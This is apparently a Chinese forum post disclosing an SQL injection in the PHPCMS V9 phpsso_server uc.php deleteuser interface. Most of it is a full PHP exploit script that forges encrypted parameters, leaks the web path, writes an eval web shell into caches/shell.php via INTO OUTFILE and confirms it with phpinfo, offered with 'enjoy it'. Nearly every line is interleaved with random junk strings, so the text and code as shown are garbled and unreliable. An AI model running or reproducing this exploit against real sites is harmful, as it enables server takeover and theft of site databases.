PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! j# ]: k# B' Q- A/ k0 z6 Z6 l. m6 d
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
; ^: q" K( m: P7 @* G
3 M) Y( H/ T& M( r漏洞分析:3 T0 y' C* \/ N. ?8 v) k$ D0 j
1.未启用ucenter服务的情况下uc_key为空/ l* F& c9 D: P$ }5 E+ B
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
" m l; O9 d/ U# \) X6 ^: p2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
, {6 [0 g& }. H5 S" X6 {8 c public function deleteuser($get,$post) {
% r6 U; x7 @- P0 P/ N5 o' c pc_base::load_app_func('global', 'admin');
# i; M$ r7 d9 @0 v4 H- j pc_base::load_app_class('messagequeue', 'admin' , 0);$ X/ @" \$ z# o/ a
$ids = new_stripslashes($get['ids']);
4 @7 ?% Q F* B+ ^- P $s = $this->member_db->select("ucuserid in ($ids)", "uid");: @+ s9 X/ u2 {& p
SQL语句为
' [# y6 r6 {$ J2 SSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
) z, c, y3 p8 z. } w. F0 u0 V3 |) Y0 m, u9 E N6 b
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, ~- }. J2 A: C: N
<?php" Y o9 `/ N' I! I) y
print_r('
% o: |' K& _2 C/ D---------------------------------------------------------------------------
1 N4 a0 x1 n. x8 u% _! ~6 Y% q6 aPHPcms (v9 or Old Version) uc api sql injection 0day% r% V# O; D) o. S! r8 A
by rayh4c#80sec.com
; n( [& H! s2 z1 u0 f8 N---------------------------------------------------------------------------4 Y9 B$ m; y% |& X" u; c2 w
');
6 D2 l' \( W. k5 [3 P0 N5 Q6 @
. u( G$ |7 ^5 @. }% uif ($argc<3) {" f: G; V$ f5 f) G2 i# E7 W
print_r('
9 S7 a& q% ?; r& |6 A5 K---------------------------------------------------------------------------
; z$ h8 \7 ?8 ~; mUsage: php '.$argv[0].' host path OPTIONS2 ^4 ]# f: X+ g: h) l: A3 |0 s
host: target server (ip/hostname)+ k% y% d9 l2 K! P1 p5 h
path: path to phpcms% v2 n' h/ q1 D# c$ Q0 n$ O
Options:, X/ `8 w2 l. ?% ^' t# `
-p[port]: specify a port other than 80
; O- C( \1 a5 o% X( n -P[ip:port]: specify a proxy
: ]2 I! t( m! |5 n. HExample:
) E( f% G! N( @% A, L; Z' i; ?3 T) n) Yphp '.$argv[0].' localhost /
; `" g4 r6 U8 S. `* wphp '.$argv[0].' localhost /phpcms/ -p81; Q" S1 C, _8 v) @- l8 n9 V9 C( H
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) b+ S; y9 V# D, c! N---------------------------------------------------------------------------& k0 B' ~7 T, `" \
');& ?; y1 U9 x8 {- ~! L g0 c, D
die;: e. F; M1 V$ a& B8 f' x! C' y
}
0 c/ u) _% u j- z
! h N- w2 w. u9 g. J5 c2 W I7 xerror_reporting(7);
2 U4 q, V/ C( K; k* fini_set("max_execution_time",0);
) K* o* ]9 z. G. s) i3 ^- |ini_set("default_socket_timeout",5);
5 Z Y5 _1 M, A! O g
, O+ s [" @# W5 x/ p2 E }9 |function quick_dump($string)2 z- M- R' h' {' h5 k! d
{
- _2 V: i* {% f$ U8 j $result='';$exa='';$cont=0;, J' }$ h. m# z8 H6 e+ C+ j' h
for ($i=0; $i<=strlen($string)-1; $i++)5 G. H3 U: c# |: @
{
+ z# H9 R& U1 f3 N6 C/ Z if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
/ A" Y3 c" \& f. \! [ {$result.=" .";}1 Q+ M% L& J: J' `) ?
else
* q, R. v% H' \1 ]! h$ G {$result.=" ".$string[$i];}
$ f+ K3 y6 l4 e0 L& H; ~! d0 } if (strlen(dechex(ord($string[$i])))==2)
- o, |, @$ U! U7 v/ ` {$exa.=" ".dechex(ord($string[$i]));}
# n$ f' Q. Z; H. z. \ else
6 v4 k8 y! ~6 O: V! F {$exa.=" 0".dechex(ord($string[$i]));}. a2 r# {/ D9 {5 h9 _, a2 ]2 p
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}* e }, O. k3 L
}
! r1 \* P9 ~7 N$ A+ p* s9 C return $exa."\r\n".$result;
: ?# h) W: S3 N, L* M}
# o7 w2 a- y0 d& `6 v$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';% l. p, z" N& R4 \! x
6 [1 U8 f( s) T+ ^0 \: A) Bfunction send($packet)2 F |9 U( E4 ~5 i# `' ^
{" v! S' L) |( Y* ~2 W4 s
global $proxy, $host, $port, $html, $proxy_regex;8 x5 s" n3 O9 t
if ($proxy=='') {! l9 f& u8 o! e- R# e$ y1 Q
$ock=fsockopen(gethostbyname($host),$port);
- }' G) q4 x4 D/ l; s2 \ if (!$ock) {
; R s. e0 ~" [- B echo 'No response from '.$host.':'.$port; die;
$ q% I1 M) n% p }
8 {; d- U: | p: c* c7 |' ^: |( L }7 G& S; a! L: s$ I
else {
( Y& R K# w4 l $c = preg_match($proxy_regex,$proxy);4 |" _$ h% o0 O% L
if (!$c) {
! V6 _% T7 [ k( m, F echo 'Not a valid proxy...';die;& m4 g n) F: k1 }. B4 s+ b0 i" M
}
7 J# X7 c; Y9 k5 m% s2 ]. W $parts=explode(':',$proxy);7 j4 ~! o" E/ B, o
$parts[1]=(int)$parts[1];* L. K# r; u" H. \' }# P& e
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
" L- ^/ _: `' j3 i! r5 \& C $ock=fsockopen($parts[0],$parts[1]);; z7 t& w, }, Z6 o3 }; T9 I' O
if (!$ock) {, h" l4 J" K8 c2 ~0 a: @8 E e% Q
echo 'No response from proxy...';die;
( a% u* _1 l4 u7 p* v( B }0 `, d# ]7 X& A# g% A' ^
}
4 p1 x/ e0 l0 j3 q; p. x fputs($ock,$packet);8 X3 V _0 D+ h6 a! `8 U# P9 S
if ($proxy=='') {7 v! _' Z% W6 V2 n) U6 y4 W
$html='';
$ R" O: g8 e& A% i while (!feof($ock)) {
% e5 t) { F0 P8 C $html.=fgets($ock);
4 c0 n; L3 ]7 ~- v4 H O }
7 n8 |" T; d, M9 b0 ~' X' m0 g }* ~/ X! y. E% b( ?
else {. b9 d! R) p: a6 M f
$html='';. P4 k. _% L4 P5 k4 W7 W( ]
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
% i& a( w7 Z( y4 k B/ |2 t' s" h" f# o $html.=fread($ock,1);
* `% K3 S# E: D# F" k }# p2 r, n) j4 @. K
}/ j2 H8 q4 q. |
fclose($ock);
+ w% `% i0 V; C u, \}
- ]3 {0 Q4 Y7 Q5 h5 b, D+ a. @9 p: I8 b3 ?. W
$host=$argv[1];' A9 X9 _" b0 @0 J8 V
$path=$argv[2];" z9 A% I+ M* X2 j
$port=80;
. f& G5 K m( Y6 ~' t6 G q$proxy="";
* f3 g! ~! U: a, s) z( q* L4 w) @for ($i=3; $i<$argc; $i++){4 g( X0 H7 R. Z( C3 S! `1 w
$temp=$argv[$i][0].$argv[$i][1];* H" k6 }6 H2 `+ c
if ($temp=="-p")4 B# Y j3 T2 ?' V7 O' Z) ~
{
0 i. s" f7 T. K4 y/ |2 d $port=(int)str_replace("-p","",$argv[$i]);
( \$ v& N9 u4 Y9 W5 ?& D}
9 f3 U) @- e4 ]) d/ \if ($temp=="-P")
8 H# u; L! d/ X, M# U! w/ a{+ F5 g/ o: F* t7 l. j6 H7 ~+ w2 y
$proxy=str_replace("-P","",$argv[$i]);
1 D2 W! e/ Y) \: s% I# S) N}
+ @& U5 w9 u9 a# t n+ P. @" }}: B- S: R% p: Q9 D/ p2 A
) }% M& G7 i& e0 ~# o- Dif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}' W2 o s( g; l0 o
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}: X, ~; d6 F6 n& D
% H( D; |' `' }' ]3 _' j! E0 u$ R
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {( _ L6 V' Y( D& a
1 M* @ ~* b0 s; ~ $ckey_length = 4;+ R& |) e: j9 o; K* @) j7 T- m
6 p7 l& \1 ^4 g: O1 U8 ]
$key = md5($key ? $key : '');
! b/ ?& z7 I' q0 p1 k7 \ $keya = md5(substr($key, 0, 16));
6 a3 S' k4 g( P8 n2 x $keyb = md5(substr($key, 16, 16));
- i/ l8 p' v& }+ J $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';# M1 q% W3 Y7 H3 F5 H
% e) i5 X! f7 `9 n+ `$ ^ $cryptkey = $keya.md5($keya.$keyc);
( z U% H: Q$ ?& \: t9 }& [ $key_length = strlen($cryptkey);
& q U# z- B+ ^' ~1 R2 L& {) A! D9 _$ D2 H8 \5 f# N3 O
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
- w% u. ?0 v6 J- A $string_length = strlen($string);
4 B" i- g7 ? |% q7 R s, h1 e+ h) a4 h
$result = '';0 S9 T* K' F/ O7 |+ _
$box = range(0, 255);
6 i6 i' c+ t; v2 o- E! u# o9 r
# a6 B, C2 i5 X& g/ z $rndkey = array();
$ }" i! h. y5 U3 o' ~ for($i = 0; $i <= 255; $i++) {
9 d: u1 t, p; W% {) B $rndkey[$i] = ord($cryptkey[$i % $key_length]);* p3 y4 C2 `5 ?) y2 U m! q4 @% k
}
9 ]/ x9 P' H P; i6 k( E1 F0 C" _9 l! M* \1 [; S+ A
for($j = $i = 0; $i < 256; $i++) {
: ^: R. D- S8 y $j = ($j + $box[$i] + $rndkey[$i]) % 256;
3 y7 g9 {1 l7 i. m- o+ J $tmp = $box[$i];
2 z p" |; ]- B t $box[$i] = $box[$j];. s+ [0 v/ D7 T- a& s0 O' g
$box[$j] = $tmp;
5 E) R0 z }9 Y# v. X) F+ b }! J6 c1 J) @" B3 @* ~4 |' o
+ T' I. p0 r* J3 p! }" @; C& g for($a = $j = $i = 0; $i < $string_length; $i++) {
2 _- j1 c$ m5 u: Q! m% d! Y# ?# v $a = ($a + 1) % 256;
/ W. a" @7 D o! c! d8 q$ N: P8 P $j = ($j + $box[$a]) % 256; p/ j4 o% u4 q5 P2 d
$tmp = $box[$a];
5 Y, L0 h5 C- ] j$ {) _ $box[$a] = $box[$j];
: d7 _5 M$ R( ]' `' p. d $box[$j] = $tmp;; y/ y5 ^. @4 U& e
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
: S/ z: o, { G# ^' q }. v R5 O' [$ B" n/ P+ D2 ^
1 v3 V: P8 X, i6 v' @4 ~ if($operation == 'DECODE') {
( P5 i0 x' M0 m5 `, {3 X/ u! P if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {" h- s* W/ T6 m! y/ L c: w
return substr($result, 26);- x) B* G; a6 A y: K/ b; K
} else {
, {" V* s9 [( ~" {4 X1 D4 n! x( T return '';. F+ l' O" ?' X& l6 j& b
}3 _3 l6 ^4 |) Y, ^8 f2 x# f1 o
} else {0 |, H% }) X8 P' L+ I; M
return $keyc.str_replace('=', '', base64_encode($result));# {0 J) Y# C! I
}
2 E0 V4 S3 b8 |/ w6 ~% O K7 u+ ?+ n+ H) y3 c
}
% X7 ?, K7 F- h: l6 r% h f% y8 y# X8 L/ f7 U
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";, b7 B5 D" r: i
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 K1 P4 y. n1 _9 c1 f% N/ k/ S
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";5 w/ J. w$ f- Z0 H2 N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 [6 y7 y( j' T7 K: y2 T$packet.="User-Agent: Mozilla/5.0\r\n";% M: E& c. x/ e: V
$packet.="Host: ".$host."\r\n";
( L; L! @* k Y6 f, ^$packet.="Connection: Close\r\n\r\n";
0 s1 E9 ~$ T4 ? m! a( ^8 msend($packet);$ I+ h9 L4 k( _: Y
if(strpos($html,"MySQL Errno") > 0){: ?# h3 G# D1 `# _
echo "[2] 发现存在SQL注入漏洞"."\n";
/ K6 N7 K6 r8 ^1 ?echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";, w) a |6 c% Z. ]
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";0 C& f3 R3 T7 O; ^7 v
$packet.="User-Agent: Mozilla/5.0\r\n";
! w( g" n! J( R0 |$ v! s& O$packet.="Host: ".$host."\r\n";
U, R% l9 u; f. w6 I0 O$packet.="Connection: Close\r\n\r\n";) x, z3 J! H, u4 k. T6 s; v
send($packet);
- Z$ Z6 Q7 {% Zpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
9 |) p- x9 H9 o* e; U( p5 V1 Y//print_r($matches);
4 r, c% h% R6 X" P6 I' Wif(!empty($matches)){
5 u2 p# ?! j: C8 o9 L9 necho "[4] 得到web路径 " . $matches[0]."\n";
; E3 R9 q$ U+ gecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";0 Z* E) X" R, r9 X* Y2 z( \
$SQL = "time=999999999999999999999999&ids=1)";- W/ B. l" P+ `6 J' g
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";7 Q9 k0 p$ G. [
$SQL.="&action=deleteuser";
4 A# {# `' T# a" P% D, o: L$SQL = urlencode(authcode($SQL, "ENCODE", ""));
$ v% C% X5 E- q9 n/ d& Xecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
n) Y4 h( D* p$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) B A' K3 g+ C" b) T+ b$packet.="User-Agent: Mozilla/5.0\r\n";
# H+ `1 Z0 ^+ j+ h& M* t" F$packet.="Host: ".$host."\r\n";
* I1 c2 N1 F/ ?& [; M' _' |" W$packet.="Connection: Close\r\n\r\n";$ O6 h- M( F. ?
send($packet);! Z' u- U4 a" h+ g
if(strpos($html,"Access denied") > 0){
5 o! H8 j% J% w3 {9 pecho "[-] MYSQL权限过低 禁止写入文件 ";
$ v2 i& ^0 J& D: Z" x" h5 pdie;
* O9 l- }7 t2 x( o9 H}' \% d2 D8 E5 o) E* c
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";! q. _& {, y& n" }- c6 ?" D
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
2 o4 t6 s) e x- ^ r/ \' r; G& O$packet.="User-Agent: Mozilla/5.0\r\n";
) u r; h k; }0 w: l: S7 L$packet.="Host: ".$host."\r\n";
& W7 A9 f+ [' X- e' ~& x' ?0 x$packet.="Connection: Close\r\n\r\n";; Q! ~) z6 f- v4 c$ h/ k0 m) F
send($packet);
2 W+ r: t# u; l/ Zif(strpos($html,"<title>phpinfo()</title>") > 0){7 f" }" v6 z/ o, S2 J
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ K/ r2 k4 P' G3 ?- K4 v}' G3 v7 v8 N* v) I1 |0 k
}else{4 B0 v; ~1 W5 Q" L; `7 g; y7 Z
echo "[-]未取到web路径 ";7 t: H" S8 L1 L, B3 G; H! T
}
* `1 R6 F# G! ]. p' P" t2 J}else{& x9 m& S8 r% k2 [, ]# d2 ]3 n
echo "[*]不存在SQL注入漏洞"."\n";. Z- l" |6 U+ g; r+ [
}* L) V+ z% A8 V. [
' R# K) M% E1 o* s$ B! Y( r
?>* |0 I+ l9 ^0 i% _9 X
|